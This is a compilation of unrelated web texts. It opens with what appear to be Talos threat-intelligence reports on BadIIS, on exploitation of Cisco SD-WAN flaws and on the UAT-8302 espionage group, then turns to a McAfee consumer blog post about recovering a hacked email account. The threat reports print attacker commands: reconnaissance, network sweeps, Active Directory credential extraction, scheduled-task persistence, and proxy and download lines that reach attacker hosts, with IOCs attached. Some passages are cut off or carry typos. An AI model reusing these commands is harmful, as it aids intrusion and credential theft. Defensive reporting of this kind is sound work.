The drop location for this BadIIS malware is identical to the one used by the installation script previously documented by Trend Micro.
Through detailed analysis of numerous BadIIS samples, associated tools, and builder artifacts, Talos assesses with moderate-to-high confidence that the string "lwxat" is the author's alias or handle. This assessment is based on the following converging evidence:
Additionally, corroborating evidence was identified through PDB path strings found within certain samples. One PDB path contained the Chinese-language string:
This suggests that the author created a dedicated development folder for a user or client named "xshen" (x神), indicating that this particular BadIIS variant was a customized build tailored specifically for “xshen's”requirements that a full-site traffic hijacking with redirection logic based on the victim's browser language settings.
Collectively, these findings presence of "lwxat" across the builder's authentication, configuration, and in-the-wild user-agent strings, combined with the PDB path referencing a customized build for “xshen” and provide converging evidence indicating that "lwxat" is the primary developer or operator behind the BadIIS malware family, potentially offering customization services to other threat actors.
The following ClamAV signatures detect and block this threat:
The following SNORT® rules (SIDs) detect and block this threat:
The IOCs can also be found in our GitHub repository here.
Talos is aware of the active, in-the-wild (ITW) exploitation of CVE-2026-20182 in Cisco Catalyst SD-WAN Controller and Manager, that allows log in to the affected system as an internal, high-privileged, non-root user account. Talos clusters the exploitation of this vulnerability and subsequent post-compromise activity under UAT-8616, whom we assess is a highly sophisticated cyber threat actor. UAT-8616 previously exploited a similar vulnerability in Cisco Catalyst SD-WAN Controller, CVE-2026-20127 to gain unauthorized access to SD-WAN systems.
UAT-8616 performed similar post-compromise actions after successfully exploiting CVE-2026-20182, as was observed in the exploitation of CVE-2026-20127 by the same threat actor. UAT-8616 attempted to add SSH keys, modify NETCONF configurations, and escalate to root privileges. Our findings indicate that the infrastructure used by UAT-8616 to carry out exploitation and post-compromise activities also overlaps with the Operational Relay Box (ORB) networks that Talos monitors closely.
Customers are strongly advised to follow the guidance and recommendations published in Cisco's Security Advisory on CVE-2026-20182. Customer support is also available by initiating a TAC request. Please refer to the Recommendations and Detection Guidance section for additional coverage information. We also recommend referring to Rapid7’s disclosure on CVE-2026-20182 for additional details.
Talos is also aware of the widespread in-the-wild active exploitation of three vulnerabilities in unpatched Cisco Catalyst SD-WAN Manager infrastructure (CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122) that, when chained together, can allow a remote unauthenticated attacker to gain access to the device. Cisco released software updates and a security advisory addressing these vulnerabilities in February 2026. Following the public release of proof-of-concept code exploiting these vulnerabilities by ZeroZenX Labs in March, we observed the exploitation of the unpatched systems from March to April 2026.
Talos has observed several other threat clusters, separate from UAT-8616, leveraging publicly available proof-of-concept exploit code to deploy webshells to affected systems. Following successful exploitation, the webshells would allow the attacker to execute bash commands on the affected system.
The vast majority of observed exploitation attempts involved the use of the ZeroZenX Labs proof-of-concept code and accompanying JavaServer Pages (JSP) shell, which we are calling “XenShell.” However, we observed several other JSP-based webshell variants, which are outlined below.
Note: The CVE referenced in the ZeroZenX Labs proof-of-concept is incorrectly attributed to CVE-2026-20127. Talos’ analysis indicates that the targeted CVEs in the proof-of-concept are in-fact CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122.
So far, Talos has observed the following clusters of malicious activity being conducted post successful exploitation of CVE-2026-20133, CVE-2026-20122, and CVE-2026-20128: Cluster #1 to Cluster #10.
This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122 since at least March 6, 2026. Following the exploitation of these CVEs, the threat actor deployed a variant of the Godzilla web shell under the filename “20251117022131.jsp”. This variant is associated with a publicly available GitHub project.
The following IPs were used to carry out the exploit and subsequently interact with the shell:
This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122 since at least March 10, 2026. Following their exploitation, the threat actor deployed a variant of the Behinder webshell under the filename “conf.jsp”. This variant has been modified to only use Base64 for encoding, as opposed to AES encryption commonly observed in other variants.
The IP “71.80.85[.]135” was used to carry out the exploit and interact with the shell.
This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122 since at least March 4, 2026. Following successful exploitation, the threat actor deployed XenShell under the name “sysv.jsp”, before returning hours later to deploy a variant of the Behinder webshell under the filename “sysinit.jsp”.
The IP “212.83.162[.]37” was used to carry out the exploit and interact with the shell.
This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122 since at least March 3, 2026. Following successful exploitation, the threat actor deployed a variant of the Godzilla webshell under the filename “vmurnp_ikp.jsp”.
The following IPs are attributed to this cluster:
Talos observed the deployment, beginning March 13, 2026, of a malware agent compiled off the publicly available AdaptixC2 red team framework. The filename was “systemd-resolved” and the agent’s command and control (C2) is “194[.]163[.]175[.]135:4445”.
The authors have changed the default TCP banner for the sample from “AdapticC2 server” to “shadowcore”. Hosted on Contabo GmbH, this is likely a VPS. As of March 28, 2026, this C2 IP, “194[.]163[.]175[.]135” hosted:
In another cluster of activity, since at least March 5, 2026, Sliver, an open-source adversarial emulation framework (aka red-teaming implant), was deployed with the filename “CWan”. The Sliver sample’s C2 is “mtls://23.27.143[.]170:443”.
In this cluster of activity, since at least March 25, 2026, an XMRig sample and its accompanying configuration file were downloaded and deployed via a shell script from the remote location “83.229.126[.]195”.
This IP, residing in Hong Kong, is also a known C2 server for Cobalt Strike.
Activity observed in Cluster 8 began as early as March 10, 2026. This cluster consisted of a few key malicious tools. The first tool is KScan, an asset mapping tool, that can port scan, TCP fingerprint, capture banners for specified assets, and obtain as much port information as possible without sending more packets. It can perform automatic brute-force cracking and brute-force RDP. The tool’s filename and Go packages have been renamed to “QScan” by the authors, but it is essentially the same implementation as the open-source GitHub version.
The second tool, named “agent1”, is a Nim-based implant. It is most likely based on the open-source tools, Nimplant, but is further modified to include:
This tool was downloaded and executed post-compromise from the remote location “replit[.]dev”:
The attackers executed this command on the compromised system while connected from the source IP “79[.]135[.]105[.]208”. This is likely a ProtonVPN node.
Replit is an AI platform that facilitates building applications using AI. It is therefore likely that the backdoor was created with the help of AI to resemble Nimplant’s functionality with the additional capabilities and deviations listed above.
In this cluster, since at least March 17, 2026, Talos observed the deployment of an XMRig miner and a peer-based proxying and tunneling tool.
This tool, gsocket, is a peer-based proxying and tunneling tool that allows peers to connect to each other within the Global Socket Relay Network (GSRN). GSRN allows peers to connect to each other using node IDs, which are unique 16-byte identifiers for nodes with the network.
This sample obtains the peer or C2 node to connect to by reading and Base58 decoding the accompanying “defunct[.]dat” file. The C2 peer ID is:
78 c4 a2 37 56 27 7b b7 de 20 06 76 34 d2 63 c9
The tool is activated by placing a malicious command in the .profile file:
This decodes to:
XMRig Miner
Accompanying gsocket was a Monero miner and its scripts and configuration files. The miner is also activated via the user profile (.profile):
/tmp/moneroocean/miner.sh --config=/tmp/moneroocean/config_background.json >/dev/null 2>&1
The “miner.sh” will find all processes named XMRig, kill them, and then start its own copy of XMRig:
This cluster of activity, since at least Mar 13, 2026, consisted of a credential stealer deployed along with accompanying scripts. The main script, named “loot_run.sh”, attempted to obtain:
Two other helper scripts were also deployed in this cluster to check if the current user could escalate to root. The scripts contained a hardcoded password and used it to execute the command su root –c id. The output is checked for the string “uid=0(root)” to verify successful escalation.
Customers are strongly advised to follow the guidance and recommendations published in Cisco's Security Advisory on CVE-2026-20182. Customer support is also available by initiating a TAC request. Talos strongly recommends that customers and partners using Cisco Catalyst SD-WAN technology follow the steps outlined in this advisory to help protect their environments. We also recommend referring to Rapid7’s disclosure on CVE-2026-20182 for additional details.
Snorts SIDs for CVE-2026-20182 are: 66482 - 66483
Please refer to the official Cisco Security Advisory on CVE-2026-20133, CVE-2026-20122, and CVE-202128 for the latest information regarding affected products, Indicators Of Compromise (IOCs), and mitigation steps.
Snort SIDs for CVE-2026-20133: 66468 - 66469
Snort SIDs for CVE-2026-20122: 66461 - 66462
Snort SIDs for CVE-2026-20128: 66468 - 66469
Snort SIDs for the threats detailed in Clusters #1 through 10 are:
ClamAV signatures for the malicious tooling associated with these clusters:
IOCs for the Clusters detailed above are also available in our GitHub repository here.
Talos assesses with high confidence that UAT-8302 is a China-nexus advanced persistent threat (APT) group tasked primarily with obtaining and maintaining long-term access to government and related entities around the world.
Post-compromise activity consisted of information collection, credential extraction, and proliferation using open-source tooling such as Impacket, proxying tools, and custom-built malware.
Malware deployed by UAT-8302 connects it to several previously publicly disclosed threat clusters, indicating a close operating relationship between them at the very least. Overall, the various malicious artifacts deployed by UAT-8302 indicate that the group has access to tools used by other sophisticated APT actors, all of which have been assessed as China-nexus or Chinese-speaking by various third-party industry reports.
For instance, NetDraft, a .NET-based malware family deployed by UAT-8302 in South America, was also disclosed by ESET as NosyDoor, attributed to a China-nexus APT they track as LongNosedGoblin. ESET assesses that LongNosedGoblin used NosyDoor/NetDraft and other custom-made malware to target government organizations in Southeast Asia and Japan. Furthermore, as per Solar’s reporting, NetDraft was also deployed against Russian IT organizations in 2024 by Erudite Mogwai (LuckyStrike Agent).
NetDraft is likely a .NET-ported variant of the FinalDraft/SquidDoor malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049 — also another cluster of China-nexus APT actors.
Another malware family deployed by UAT-8302 is CloudSorcerer (version 3). Kaspersky disclosed that CloudSorcerer was used in attacks directed against Russian government entities in 2024.
Furthermore, two other malware families, SNAPPYBEE/DeedRAT and ZingDoor, were deployed by UAT-8302 in conjunction with each other, a tactic also highlighted by Trend Micro in 2024.
Talos’ analysis also connects more custom-made tooling that UAT-8302 used to other China-nexus or Chinese-speaking APTs:
The various connections between UAT-8302 and other China-nexus or Chinese-speaking threat actors can be visualized as:
Figure 1. UAT-8302's interconnections.
UAT-8302's tooling overlaps with various APT groups that have been known to exploit both zero-day and n-day exploits to obtain initial access. We assess that UAT-8302 follows the same paradigm of obtaining initial access to its victims.
Once initial access is obtained, UAT-8302 conducts preliminary reconnaissance using red-teaming tools such as Impacket:
Other reconnaissance commands may be:
ipconfig /all certutil -user -store My certutil -user -store CA certutil -user -store Root whoami nslookup www[.]google[.]com net use cmd.exe /c net view /domain cmd.exe /c systeminfo cmd.exe /c net time /domain cmd.exe /c nslookup -type=SRV _ldap._tcp net group <name> /domain
One of UAT-8302's primary goals is to proliferate within the compromised network, and therefore, the actor conducts extensive reconnaissance on every endpoint that they can access. This extended recon is scripted usually using a custom-made PowerShell script such as “whatpc.ps1”:
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Windows\Temp\whatpc.ps1
The script may be persisted to collect system information via a scheduled task:
cmd.exe /c schtasks /create /tn 'ReconLiteDebug' /tr 'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File c:\windows\temp\whatpc.ps1' /sc ONCE /st 08:25 /ru SYSTEM /f cmd.exe /c schtasks /create /tn 'RunWhatPC' /tr 'c:\windows\temp\run.bat' /sc ONCE /st 23:28 /ru SYSTEM /f
This script executes the following commands on the systems to identify them:
whoami whoami.exe /groups whoami.exe /priv net.exe user net.exe localgroup net.exe localgroup administrators ipconfig.exe /all ARP.EXE -a ROUTE.EXE print NETSTAT.EXE -ano cmd.exe /c net share cmd.exe /c wmic startup get caption,command 2>&1 nltest.exe /dclist:<domain> net.exe user /domain net.exe group /domain net.exe group Domain Admins /domain nltest.exe /domain_trusts
UAT-8302 also performs ping sweeps of the network to discover more endpoints to proliferate into:
C:/Windows/Temp/ping_scan.bat C:/Windows/Temp/run_scan.bat C:/Windows/Temp/nbtscan.exe cmd.exe /Q /c (for /l %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | find TTL= && echo 192.168.1.%i is alive) > C:\Windows\Temp\alive_hosts.txt
UAT-8302 also discovers SMB shares in the network to find reachable remote shares:
cmd.exe /Q /c (for /l %i in (1,1,254) do @net use \\192.168.1.%i\IPC$ >nul 2>&1 && echo 192.168.1.%i - Port 445 is open || echo 192.168.1.%i - Port 445 is closed) > C:\Windows\Temp\portscan.txt
UAT-8302 may also download and run “gogo,” a GoLang based, open-sourced automated network scanning engine written in Simplified Chinese:
curl -fsSL hxxps://github[.]com/chainreactors/gogo/releases/download/v2.14.0/gogo_windows_amd64.exe -o go.exe
Additionally, UAT-8302 uses a variety of scanning tools such as QScan, naabu and dddd PortQry and httpx to discover services in the network:
httpx.exe -sc -title -location -f -td -r 192.168.1.1/16 httpx.exe -sc -title -location -td -r 192.168.1.1/16 -o web.txt httpx.exe -sc -title -location -td -u 192.168.1.1/16 -o web.txt
UAT-8302 collects a variety of information about the environment that they are operating within including Active Directory (AD) information and credentials using open-sourced tooling such as:
A Python-based tool for Azure AD Connect/Entra ID connect credential extraction:
python.exe adconnectdump.py
UAT-8302 may also directly query the AD user and computer objects to obtain information from them via PowerShell:
powershell -command Get-ADUser -Filter * -Property * | Select-Object Name, Displayname, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, homeDirectory, scriptPath
powershell -command Get-ADUser -Filter * -Property * | Select-Object SamAccountName, DisplayName, Enabled, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, HomeDirectory, ScriptPath, @{Name='Groups';Expression={((Get-ADUser $.SamAccountName -Properties MemberOf).MemberOf | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; '}}
powershell -Command Get-ADComputer -Filter * -Property Name,DNSHostName,OperatingSystem,Description | Select-Object Name, DNSHostName, OperatingSystem, Description | Format-Table -AutoSize
powershell -Command Get-ADGroup -Filter * -Properties Members, Description | Select-Object Name, Description, @{Name='Members';Expression={ ($.Members | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; ' }}| Format-Table -AutoSize
Specific AD users of interest may also be queried using system tools such as dsmod and dsquery.
UAT-8302 also collects event log information and the logs themselves on multiple endpoints. Logs are an excellent source of obtaining information and understanding security configurations and policies applied within a target’s environment:
powershell -Command Get-WinEvent -ListLog Security | Format-List LogName, FileSize, LogMode, MaximumSizeInBytes, RecordCount
powershell -command Get-EventLog -LogName System -Source NETLOGON -Newest 5000 | Where-Object { $_.Message -match "Administrator" }
powershell -Command chcp 437 >$null; Get-WinEvent -FilterHashtable @{ LogName = 'Security'; ID = 4768 } | Where-Object { \$_.Message -match 'Administrador' }
Audit policies are also queried extensively to obtain system logging configurations:
auditpol /get /category:Logon/Logoff auditpol /get /category:*
UAT-8302 also collects AD snapshots using tools such as the AD Explorer tool:
ae.exe -snapshot c:\windows\temp\result.dat /accepteula cmd.exe /C 7zr.exe a -mx=5 c:\windows\temp\r.7z c:\windows\temp\result.dat
UAT-8302 also uses a tool written in Simplified Chinese called “SharpGetUserLoginIPRP” — derived from another Chinese-language repository — which is used to extract login information from a domain controller:
C:\ProgramData\S.exe user:pass@IP -day
UAT-8302 proliferates across various endpoints by using a combination of either Impacket- or WMI-based remote process creation:
cmd.exe /C wmic /node:IP process call create cmd.exe /c c:\programdata\e1.bat cmd.exe /C schtasks /S IP /U username /P passwd /create /tn 'Runbat' /tr 'c:\windows\temp\run.bat' /sc ONCE /st 5:12 /ru SYSTEM /f
These BAT files are meant to execute the accompanying malware on the target systems.
Furthermore, UAT-8302 may also extract login credentials from MobaxXterm, a multi-functional and tabbed SSH client, using tools such as MobaXtermDecryptor to pivot to other endpoints.
UAT-8302 deploys a variety of malware families in their intrusions including NetDraft, CloudSorcerer version 3, and VSHELL.
NetDraft, also known as NosyDoor, is a .NET variant of the FINALDRAFT malware. FINALDRAFT or Squidoor is a malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049, a cluster of China-nexus APT actors. FINALDRAFT uses legitimate services such as MS Graph to act as command-and-control servers (C2s) to execute commands and payloads on the compromised system. Similarly, NetDraft relies on the MS Graph API to communicate with its OneDrive based C2. NetDraft is deployed using the following mechanism:
Figure 2. NetDraft and FringePorch infection chain.
NetDraft and FringePorch support the following functionalities:
Since NetDraft is missing the capability to persist across reboots and relogins, one of the first commands the C2 issues to it is the creation of a malicious scheduled task:
schtasks /create /ru system /tn Microsoft\Windows\Maps\{a086ff1e-d6dc-45f7-b3e4-6udknw82sa} /sc hourly /mo 2 /tr 'C:\ProgramData\Microsoft\Microsoft\Appunion.exe' /F
Another malware UAT-8302 deploys is the latest version of the CloudSorcerer backdoor (version 3). The malware consists of the side-loading triad of files: a benign executable, a malicious DLL-based loader, and the actual implant in a data file:
Yandex.exe -r -p:test.ini -s:12 VMtools.exe -r -p:VM.ini -s:12
The executables will sideload a DLL named “mspdb60[.]dll”, which will load and decrypt the “.ini” file specified in the command line — such as “test.ini” or “vm.ini”. The decrypted shellcode is then injected into a combination of specified benign processes.
The decrypted INI file is a newer version of CloudSorcerer (v3) disclosed by Kaspersky in 2024. Depending on process name (where it may have been initiated or injected), CloudSorcerer v3 will perform one of the following actions:
The system information CloudSorcerer v3 collects includes computer name, username and local system time.
Like CloudSorcerer v2, version 3 contacts a legitimate service to obtain the C2 information. The malware will either contact a specific GitHub repository to read a data blob, or read a GameSpot profile the threat actors set up.
The data blob is decoded to obtain the C2 information, which can exist in the one of the following formats depending on the variant of the CloudSorcerer backdoor:
In other instances, UAT-8302 deploys the VSHELL malware via a slightly different triad of artifacts for side-loading malware. The benign executable side-loads a malicious DLL named “wininet[.]dll” that reads a BIN file and injects it into “explorer[.]exe”.
The payload is position-independent shellcode that is injected into explorer[.]exe. The payload is a stager for the VSHELL malware that downloads and single-byte XORs the obtained payload with the key 0x99. The decoded payload is a garbled version of VSHELL.
It is worth noting that Talos observed the same single byte key and stager being used by UAT-6382 to deliver VSHELL malware in early 2025. Further investigation revealed that this stager is in fact SNOWLIGHT, a lightweight downloader that can download and deploy a next stage payload. UNC5174 has been observed using SNOWLIGHT to download Sliver and VSHELL. UNC5174 is a suspected China-nexus threat actor that typically exploits zero-day and n-day vulnerabilities to gain access to critical infrastructure organizations in the Americas.
Talos discovered that UAT-8302 also used a Rust based variant of SNOWLIGHT that we track as “SNOWRUST.” SNOWRUST is based on the LexiCrypt Rust-based shellcode obfuscator. SNOWRUST simply decodes the embedded SNOWLIGHT shellcode and executes it to download the XOR encoded final payload, VSHELL, received from the C2.
In one intrusion, UAT-8302 used VSHELL to deploy a native driver from the Hades HIDS/HIPS software — an open-source Windows host monitoring kernel framework written in Simplified Chinese. The driver was specifically the System Monitoring filter driver that lets Hades register callbacks for process, thread, registry, and file events. This allows the driver to monitor the system and potentially allow, block, or hide events and artifacts.
In one instance, UAT-8302 first deployed a RAT family known as DeedRAT/SNAPPYBEE. However, UAT-8302 almost immediately switched over to a DLL-based malware family known as ZingDoor, first disclosed by Trend Micro in 2023, which has attributed both DeedRAT and ZingDoor to the China-nexus threat actor Earth Estries.
ZingDoor has also been deployed after the successful exploitation of ToolShell in 2025 by China-nexus threat actors.
In parallel, UAT-8302 also deployed Draculoader, a generic shellcode loader, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere:
C:\Documents and Settings\All Users\Microsoft\Crypto\RSA\d3d8.dll
Once UAT-8302 deploys their custom-made malware, they begin establishing other means of backdoor access. One of the techniques used is setting up proxy servers on infected systems to tunnel traffic outside the enterprise to the infected hosts using tools such as Stowaway (another tool written in Simplified Chinese):
c:\windows\system32\wagent.exe -c 85[.]209[.]156[.]3:56456 cmd.exe /c (echo @echo off && start c:\windows\temp\mmc.exe -l 85[.]209[.]156[.]3:56456 -s <pass> && echo exit) > c:\windows\temp\trun.bat ag531.exe -c 45[.]135[.]135[.]100:443 -s <blah> -f AgreedUponByAllParties
UAT-8302 may use other tools such as anyproxy to set up proxies within the infected enterprise’s network:
c:\users\public\any.exe
Furthermore, we observed UAT-8302 deploying the SoftEther VPN clients as well:
certutil -urlcache -split -f hxxp://38[.]54[.]32[.]244/Rar.exe rar.exe rar.exe x glb.rar Communicator.exe /usermode
The following ClamAV signatures detect and block this threat:
The following Snort Rules (SIDs) detect and block this threat:
IOCs for this threat are also available on our GitHub repository here.
NetDraft, FringePorch
1139b39d3cc151ddd3d574617cf113608127850197e9695fef0b6d78df82d6ca Ee56c49f42522637f401d15ac2a2b6f3423bfb2d5d37d071f0172ce9dc688d4b 51f0cf80a56f322892eed3b9f5ecae45f1431323600edbaea5cd1f28b437f6f2
VSHELL
35b2a5260b21ddb145486771ec2b1e4dc1f5b7f2275309e139e4abc1da0c614b 199bd156c81b2ef4fb259467a20eacaa9d861eeb2002f1570727c2f9ff1d5dab
ZingDoor
071e662fc5bc0e54bcfd49493467062570d0307dc46f0fb51a68239d281427c6
Gogo
E74098b17d5d95e0014cf9c7f41f2a4e4be8baefc2b0eb42d39ae05a95b08ea5 2b627f6afe1364a7d0d832ccba87ef33a8a39f30a70a5f395e2a3cb0e2161cb3
Stowaway
7c593ca40725765a0747cc3100b43a29b88ad1708ef77e915ab02686c0153001 F859a67ceebc52f0770a222b85a5002195089ee442eac4bea761c29be994e2ea
anyproxy
7d9c70fc36143eb33583c30430dcb40cf9d306067594cc30ffd113063acd6292
QScan
1bb59491f7289b94ab0130d7065d74d2459a802a7550ebf8cd0828f0a09c4d38
Draculoader
843f8aea7842126e906cadbad8d81fa456c184fb5372c6946978a4fe115edb1c
Dddd
343105919aa6df8a75ecb8b06b74f23a7d3e221fca56c67b728c50ea141314bc
Httpx
4109f15056414f25140c7027092953264944664480dd53f086acb8e07d9fccab
SoftEther VPN
3dec6703b2cbc6157eb67e80061d27f9190c8301c9dd60eb0be1e8b096482d7e
SharpGetUserLogin
9f115e9b32111e4dc29343a2671ab10a2b38448657b24107766dc14ce528fceb B19bfca2fc3fdabf0d0551c2e66be895e49f92aedac56654b1b0f51ec66e7404
Naabu
45cd169bf9cd7298d972425ad0d4e98512f29de4560a155101ab7427e4f4123f
PortQry
Fb6cebadd49d202c8c7b5cdd641bd16aac8258429e8face365a94bd32e253b00
Network IOCs
hxxps[://]www[.]drivelivelime[.]com hxxps[://]www[.]drivelivelime[.]com/x hxxps[://]www[.]drivelivelime[.]com/pw www[.]drivelivelime[.]com hxxps[://]msiidentity[.]com hxxps[://]msiidentity[.]com/pw msiidentity[.]com hxxp[://]trafficmanagerupdate[.]com/index[.]php trafficmanagerupdate[.]com image[.]update-kaspersky[.]workers[.]dev update-kaspersky[.]workers[.]dev 85[.]209[.]156[.]3 85[.]209[.]156[.]3:56456 85[.]209[.]156[.]3:46389 hxxp[://]85[.]209[.]156[.]3:8080/wagent[.]exe hxxp[://]85[.]209[.]156[.]3:8082/wagent[.]exe 185[.]238[.]189[.]41 hxxp[://]185[.]238[.]189[.]41:8080 103[.]27[.]108[.]55 hxxp[://]103[.]27[.]108[.]55:48265/ hxxp[://]38[.]54[.]32[.]244/Rar[.]exe 38[.]54[.]32[.]244 45[.]140[.]168[.]62 88[.]151[.]195[.]133 156[.]238[.]224[.]82 45[.]135[.]135[.]100
I think I could count on one hand the people I know who have NOT had their email hacked. Maybe they found a four-leaf clover when they were kids! Email hacking is one of the very unfortunate downsides of living in our connected, digital world. And it usually occurs as a result of a data breach – a situation that even the savviest tech experts find themselves in.
In simple terms, a data breach happens when personal information is accessed, disclosed without permission, or lost. Companies, organisations, and government departments of any size can be affected. Data stolen can include customer login details (email addresses and passwords), credit card numbers, identifying IDs of customers e.g. driver’s license numbers and/or passport numbers, confidential customer information, company strategy, or even matters of national security.
Data breaches have made headlines, particularly over the last few years. When the Optus and Medibank data breaches hit the news in 2022 affecting almost 10 million Aussies apiece, we were all shaken. But then when Aussie finance company Latitude was affected in 2023 with a whopping 14 million people from both Australia and New Zealand, it almost felt inevitable that by now, most of us would have been impacted.
The reality is that data breaches have been happening for years. In fact, the largest data breach in Australian history happened in 2019 to the online design site Canva which affected 139 million users globally. In short, it can happen to anyone, and the chances are you may have already been affected.
The sole objective of a hacker is to get their hands on your data. Any information that you share in your email account can be very valuable to them. Why do they want your data, you ask? It’s simple really – so they can cash in!
Some will keep the juicy stuff for themselves – passwords or logins to government departments or large companies they may want to ’target’ with the aim of extracting valuable data and/or funds. The more sophisticated ones will sell your details including name, telephone, email address, and credit card details to cash in on the dark web. They often do this in batches. Some experts believe they can get as much as AU$250 for a full set of details including credit cards. So, you can see why they’d be interested in you.
The other reason why hackers will be interested in your email address and password is that many of us re-use our login details across our other online accounts. Once they’ve got their hands on your email credentials, they may be able to access your online banking and investment accounts, if you use the same credentials everywhere. So, you can see why I harp on about using a unique password for every online account!
There is a plethora of statistics on just how big this issue is – all of them concerning. According to the Australian Institute of Criminology, of all the country’s cybercrime reports in 2024, about 21.9% involved identity theft and misuse. The Australian Bureau of Statistics adds that the identity theft victimisation rate has steadily increased from 0.8% to 1.2% from 2021 to 2024, respectively.
Meanwhile, The Australian Government revealed that at least one cybercrime is reported every 6 minutes, with business email compromise alone costing the national economy up to $84 million in losses. Regardless of which statistic you choose to focus on, we have a big issue on our hands.
Hackers use a range of techniques—some highly sophisticated, others deceptively simple—to gain access. It is important to know how these attacks happen so you can stay ahead and prevent them.
Yes, absolutely. An email account is often the central hub of your digital life. Once a cybercriminal controls it, they can initiate password resets for your other online accounts, including banking, shopping, and social media. They can intercept sensitive information sent to you, such as financial statements or medical records.
With enough information gathered from your emails, they can commit identity theft, apply for credit in your name, or access other sensitive services. If you suspect your email was hacked, it’s crucial to monitor your financial statements and consider placing a fraud alert with credit bureaus.
If you find yourself a victim of email hacking, these are a few very important steps you need to take. Fast.
Using a separate, clean device, this is the very first thing you must do to ensure the hacker can’t get back into your account. It is essential that your new password is complex and totally unrelated to previous passwords. Always use random words and characters, a passphrase with a variety of upper and lower cases, and throw in some symbols and numbers.
I really like the idea of a crazy, nonsensical sentence – easier to remember and harder to crack! But, better still, get yourself a password manager that will create a password that no human would be capable of creating. If you find the hacker has locked you out of your account by changing your password, you will need to reset the password by clicking on the ‘Forgot My Password’ link.
This is time-consuming, but essential. Ensure you change any other accounts that use the same username and password as your compromised email. Hackers love the fact that many people use the same logins for multiple accounts, so it is guaranteed they will try your info in other email applications and sites such as PayPal, Amazon, Netflix – you name it!
Once the dust has settled, review your password strategy for all your online accounts. A best practice is to ensure every online account has its own unique and complex password.
Most email services have a security feature that lets you remotely log out of all active sessions. Once you’ve changed your password, signing out from your email account also signs out the hacker and forces them to log-in with the new password, which fortunately they do not know. These, combined with two- or multi-factor authentication, will help you to regain control of your account and prevent further compromise.
A big part of the hacker’s strategy is to get their claws into your address book to hook others as well. Send a message to all your email contacts as soon as possible so they know to avoid opening any emails—most likely loaded with malware—that have come from you.
Two-factor or multi-factor authentication may seem like an additional, inconvenient step to your login, but it also adds another layer of protection. Enabling this means you will need a special one-time-use code to log in, aside from your password. This is sent to your mobile phone or generated via an authenticator app. So worthwhile!
It is common for hackers to modify your email settings so that a copy of every email you receive is automatically forwarded to them. Not only can they monitor your logins to other sites; they can also keep a watchful eye on any particularly juicy personal information. So, check your mail forwarding settings to ensure no unexpected email addresses have been added.
Also, ensure your ‘reply to’ email address is actually yours. Hackers have been known to create an email address that looks similar to yours, so that when someone replies, it will go straight to their account, not yours.
Don’t forget to check your email signature to ensure nothing spammy has been added, as well as your recovery phone number and alternate email address. Hackers also change these to maintain control. Update them to your own secure details.
Regularly scanning your devices for unwanted invaders is essential. If you find anything, please ensure it is addressed, and then change your email password again. If you don’t have antivirus software, please invest in it.
Comprehensive security software will provide you with a digital shield for your online life, protecting all your devices – including your smartphone – from viruses and malware. Some services also include a password manager to help you generate and store unique passwords for all your accounts.
If you have been hacked several times and your email provider isn’t mitigating the amount of spam you are receiving, consider starting afresh. Do not, however, delete your old email address because email providers are known to recycle old email addresses. This means a hacker could spam every site they can find with a ‘forgot my password’ request and try to impersonate you and steal your identity.
Your email is an important part of your online identity so being vigilant and addressing any fallout from hacking is essential for your digital reputation. Even though it may feel that getting hacked is inevitable, you can definitely reduce your risk by installing some good-quality security software on all your devices.
Trusted and reliable comprehensive security software will alert you when visiting risky websites, warn you when a download looks dodgy, and block annoying and dangerous emails with anti-spam technology. It makes sense really – if you don’t receive the dodgy phishing email – you can’t click on it. Smart!
Finally, don’t forget that hackers love social media – particularly those of us who overshare on it. So, before you post details of your adorable new kitten, remember it may just provide the perfect clue for a hacker trying to guess your email password!
Reporting an email hack is a crucial step to create a necessary paper trail for disputes with banks or credit agencies. When reporting, gather evidence such as screenshots of suspicious activity, unrecognized login locations and times, and any phishing emails you received. This information can be vital for the investigation.
Generally, no. Deleting the account can cause more problems than it solves. Many online services are linked to that email, and deleting it means you lose the ability to receive password reset links and security notifications for those accounts.
More importantly, some email providers recycle deleted addresses, meaning a hacker could potentially re-register your old email address and use it to impersonate you and take over your linked accounts.
The better course of action is to regain control, thoroughly secure the account with a new password and multi-factor authentication, and clean up any damage. Only consider migrating to a new email address after you have fully secured the old one.
Each email provider has a specific, structured process for account recovery. It is vital to only use the official recovery pages provided by the service and be wary of scam websites or third-party services that claim they can recover your account for a fee. Below are the official steps of the major providers that you can follow.
Your email account is the master key to your digital kingdom, and protecting it is more critical than ever since many of your other accounts are connected with your email. Realizing “my email has been hacked” is a stressful experience, but taking swift and correct action can significantly limit the damage.
By following the recovery steps and adopting strong, ongoing security habits like using a password manager and enabling multi-factor authentication, you can turn a potential crisis into a lesson in digital resilience. Stay vigilant, stay proactive, and keep your digital front door securely locked.
To add another wall of defense, consider investing in a trusted and reliable comprehensive security software like McAfee+. Our solution will help you dodge hacking attempts by alerting you when visiting risky websites, or downloading questionable apps, and blocking malicious emails with anti-spam technology.
The post What to Do If Your Email Is Hacked appeared first on McAfee Blog.
If your PC runs on Windows 10, you’re in very good company. The Microsoft operating system is the most widely used OS in the world.
However, the rollout to Windows 11 began in 2021, with Windows 10’s support lifecycle ending on October 14, 2025. After this date, Microsoft will stop providing free security updates, technical support, or software updates for Windows 10. If you are a Windows 10 user, this means you will need to upgrade to the newer OS or purchase extended security updates to continue using the old OS securely.
Unfortunately, its success as a widely used operating system makes Windows attractive to hackers. If malicious software could make a home in Windows, a lot of targets would ask how best to protect your Windows 10 or 11 device. Should you just use Windows Security — Microsoft’s free version of antivirus software — or buy additional protection?
Read on to learn what Microsoft Security covers and how additional virus protection can secure all of your connected devices.
